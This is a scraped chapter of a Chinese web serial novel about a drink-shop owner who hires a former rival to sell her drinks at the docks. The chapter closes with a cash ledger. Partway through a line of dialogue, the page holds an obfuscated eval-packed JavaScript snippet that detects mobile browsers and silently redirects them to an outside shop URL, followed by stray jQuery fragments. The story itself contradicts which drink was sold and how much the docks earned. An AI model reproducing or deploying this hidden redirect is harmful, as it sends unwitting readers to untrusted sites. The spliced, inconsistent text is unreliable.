文趣网 > 其他小说 > 甜水铺诸事簿 > 56. 第五十六章
    赵二沉默了一会儿,“何掌柜,你做生意这样不讲情面,为什么还有这么多熟客?”

    罗娘子指了指桌上的梅子冰木莲:“因为她东西做得好吃。客人嘴里有东西的时候,便不计较她说话好不好听了。”

    何春酿把写好的细则推到赵二面前,“每日先送一桶甘草水,再添半桶铺里当日做的饮子。你每卖两碗,便留下一文作脚钱。等晚上回来了以后,如果钱和碗都没有差错,何记再额外给你添三文。”

    赵二的神情这才缓和了一些,“那每日都有两桶卖吗?”

    “甘草水每日都有。另一桶要看铺子当天做什么,也要看码头上的人爱喝什么。你回来以后,可以把当日哪一种卖得快、什么时辰人多告诉我们。”

    赵二问道:“我替何记打听生意,也算在这二十五文里?”

    周砚平回答道:“你卖得越多,自己留下的钱便越多。打听这些事情,本来也是替你自己挣钱。”

    赵二看着周砚平缠着布的右手,忍不住说道:“你的手虽然伤了,算盘却像是长在心里,一刻都没有停过。”

    “多谢夸奖。”

    “我没有夸你。”赵二翻白眼。

    周砚平神色不变,“我听着很像。”

    赵二盯着那张纸看了一会儿,却没有立刻伸手。

    “何掌柜,你当真要把码头上的饮子交给我?”

    何春酿抬眼看他:“规矩方才已经说清楚了。你若不愿意做,现在还来得及。”

    “我不是不愿意。”赵二摸了摸鼻子,神情难得有些不自在,“只是我从前在桥头冒充过何记的人卖水,周账房还扣了我十文钱。按理说,你们便是不让我再碰何记的水桶,也算应当。”

    罗娘子在旁边说道:“你倒还记得那十文钱。我还以为你只记得自己吃过的亏,从来不记得自己做过的事。”

    赵二这回没有同她争嘴,只看着何春酿,像是真想等她给一句明白话。

    他从前也在桥头摆过凉水摊,两只木桶,一张破桌,天热时便坐在那里等生意。只是他舍不得用好料,熬出来的凉水寡淡发苦,来往的人即便渴得厉害,也未必肯停下来喝一碗。

    后来何记的甘草水和酸梅饮渐渐有了名声,桥头的人宁肯多走一段路,也不愿在他的摊子前将就。赵二的生意本就不好,自那以后更是一天卖不出几碗。

    也正因为如此,福盛楼的人找上他时,他几乎没有多想便答应了。

    他那时心里既想着挣几文钱,也觉得何记抢走了自己的生意,借一借何记的名头算不得什么大事。直到被周砚平当场拆穿,还被扣了十文钱,偷鸡不成蚀把米。

    何春酿认真道:“你从前做错了,十文钱我已经扣过了,一码事归一码事。如今我请你在码头帮我卖饮子,是因为这件事情你做得来。你若再打何记的坏主意,我照样不会饶你。如果你肯按规矩做事,我也不会让你吃亏。”

    赵二素来嘴上没个正经,此刻却没有再讨价还价,只把按过手印的纸往何春酿面前推了推,“你既然还肯信我,我便替你好好卖。少一文钱,你照规矩扣就是了。”

    临走以前,他又指着柜台后的木莲冻问道:“现在事情已经谈成,那碗梅子冰木莲总该给我了吧?”

    何春酿竖起手指:“四文。”

    “我是替何记卖饮子的人。”

    “所以我给你盛得足一些。”

    赵二看向周砚平:“你受伤以后,她是不是比从前更难说话了?”

    周砚平看了一眼何春酿,笑道:“梅子冰木莲每日午后便可能卖完。你今日能吃到,已经算运气好。”

    赵二想了想,还是摸出四文钱。

    张五娘给他盛了满满一碗,梅子汁浇得足,碎冰也添到了何春酿准许的分量。

    赵二吃了两口,脸上的不满便少了一半。等他端着碗走出铺子,罗娘子才说道:“你看,我就说了。只要嘴里有东西,他便顾不上计较你说话难听。”

    何春酿收起按了手印的纸,“他最好也记得,明日卯时末要来推车。”

    第二日,赵二果然按时到了。只是人虽进了门,眼睛还没有完全睁开。他坐在门槛上打了两个哈欠,闻见后院飘出来的梅子味,才略微精神了一些。

    “今日码头上带什么?”

    何春酿说道:“今日装一桶甘草水,能卖三十六碗。再装半桶酸梅薄荷饮,能卖十八碗。两样加起来一共五十四碗。”

    赵二问道:“那我回来要交多少钱?”

    “甘草水两文一碗,酸梅薄荷饮四文一碗,若是全部卖完,一共收一百四十四文。”何春酿将账纸递给他,“每卖两碗,你留一文作脚钱。五十四碗卖完,你留下二十七文,交回来一百一十七文。”

    赵二自己又算了一遍:“若是没有卖完呢?”

    “剩下多少饮子,你便原样带回来。回来以后按实际卖出的碗数算钱。若是洒了、赊了,或让熟人白喝了,那些都算你已经卖出去,不能从该交的钱里扣。”

    赵二把账纸折好收进怀里:“这样我就听明白了。卖得越多,我挣得越多。卖不出去,也不能拿何记的饮子做人情。”

    门外的日头已经升高。

    铺子里又来了几个客人,进门便问今日还有没有梅子冰木莲。张五娘赶紧去刮新的一碗,何春酿则回到后院,看那一盆刚凝好的木莲冻。

    生意照旧忙了起来。

    直到午后稍得空闲,她才翻开账本,在码头饮子的账目旁边添了一行字。

    何记已经许久没有做新饮子,也没有添新的小吃。梅子冰木莲虽然卖得好,到底不能让客人从小暑一直吃到秋风起。

    周砚平看见她停笔,问道:“何掌柜,你在想什么?”

    何春酿合上账本,“我在想,等码头的事情理顺以后,也该试一样新东西了。”

    赵二便原先就在桥头卖过凉水,叫卖的话不用旁人教。木桶上挂着何记的牌子,他才刚把车停稳,便有人端着碗围了过来。

    陈满仓刚卸下一袋米,抹着脖子上的汗问道:“今日除了甘草水,还有什么?”

    赵二揭开另一只桶的盖子:“紫苏饮,四文一碗。何掌柜说了,天气闷的时候喝这个正合适。”

    “你真替何记卖水了?”有人问。

    “那还有假?”赵二拿起竹勺,照着勺柄上的刻线盛满一碗,“我这是何掌柜亲自请来的,价钱和分量都写了纸,还按了手印。”

    旁边有人笑道:“从前你冒充何记的人,现在倒成真的了。”

    赵二脸上一热,把碗往那人面前一递:“你到底喝不喝?不喝便让开,后头还有人等着。”

    码头上的人本就认得何记的味道,甘草水又只卖两文,不到晌午便去了大半桶。紫苏饮贵些,卖得慢一点,等午后的日头晒得最毒时,也渐渐见了底。

    最后还剩下一碗紫苏饮。

    赵二嗓子已经喊哑了,原想自己喝掉,手才碰到竹勺,又想起何春酿说过,他每日只能白喝一碗甘草水,旁的饮子都要照价给钱。

    正巧刘成贵从船边过来,脸晒得通红,衣裳也被汗水湿透了。赵二便扬声喊住他:“还剩最后一碗紫苏饮,你喝不喝?再不喝,我便收桶回去

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725517|205212||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    了。”

    刘成贵走过来,先往桶里看了一眼,确认里面确实还剩一碗,这才摸出四文钱。

    赵二接过钱,有些意外地说道:“我还以为你这辈子都不会喝何记的饮子了。”

    “少说废话,赶紧给我盛。”刘成贵抹了一把脸上的汗,“我在日头底下扛了半日木料,嘴巴都快干裂了。”

    赵二照着竹勺上的刻线给他盛了一碗。

    刘成贵接过碗,仰头喝了大半,这才长长吐出一口气,“以后都是你来吗?看见周砚平那张脸就觉得晦气。”

    赵二低头收拾,“不知道,先这么干着吧。”

    等到申时,赵二推着两只空桶回到铺子,嗓子已经喊得有些发哑,脸上却带着藏不住的得意,“何掌柜,今日全卖空了。”

    张五娘先去看桶,何春酿则把钱匣推到桌上,“来吧,先数钱。”

    赵二从怀里掏出钱袋,将铜钱全倒在桌上。周砚平坐在一旁报数,何春酿每数过一串,便放到另一边。

    甘草水三十六碗,共七十二文。

    紫苏饮十八碗,共七十二文。

    两样加起来,一共收了一百四十四文。

    赵二按先前说好的规矩,每卖两碗留一文,五十四碗共留下二十七文,应当交回一百一十七文。

    何春酿将桌上的钱又数了一遍,正好一百一十七文。

    张五娘那边也数清了碗,一个不少,竹勺和桶盖上的记号也没有动过。

    赵二看着何春酿:“钱和碗都没有差错,那三文是不是也该给我了?”

    何春酿从钱匣里取出三枚铜钱,放到他面前,“那是自然,你收好。”

    赵二把那三文钱收好,脸上的笑意更深了些,“何掌柜放心,我今日在码头上看清楚了,甘草水上午卖得快,紫苏饮要等午后才有人买。若是明日还送紫苏饮,不必太早开桶,免得在日头底下放得久。”

    等晚间客人散尽,何春酿才将铺门半掩,同周砚平一道算今日的总账。

    张五娘在旁边洗最后几只碗,听见算盘珠子响个不停,便问道:“今日比昨日多挣了吗?”

    周砚平说道:“码头的饮子没有停,铺里也没有因为少人耽误生意,自然比昨日强。”

    何春酿在账本上记下最后一笔,“今日只能算顺当。”

    张五娘笑道:“掌柜的今日已经卖空了两盆梅子冰木莲,还说只能算顺当。照你这样算,什么样的生意才算好?”

    何春酿笑道:“明日还能照常开门,东西不缺,账也没有错,才算真正的好生意。”

    周砚平看着她写下的账目,慢慢说道:“照今日这样做,赵二或许真能把码头这一摊接下来。”

    何春酿把账本收进柜中,“能不能接下来,还要再看几日。一个人头一日老实,不算稀奇。日日都肯照规矩做,那才算本事。”

    -

    簿上记:

    周砚平看诊抓药之后,柜中余四百七十五文。

    赔刘成贵八十文,余三百九十五文。

    小暑前五日,铺中卖梅子冰木莲、紫苏饮、甘草水并蜜水青梅,共收三百一十二文。柜中共余七百零七文。

    小暑前四日,何春酿亲自往码头送了一趟饮子,铺中少做了些生意,当日共收二百八十六文。柜中共余九百九十三文。

    今日码头实收一百一十四文。

    铺中梅子冰木莲两盆售尽,另卖酸梅薄荷饮、蜜水青梅及绿豆酪,共收三百二十六文。

    共入四百四十文。

    连同前余九百九十三文,柜中现有一千四百三十三文。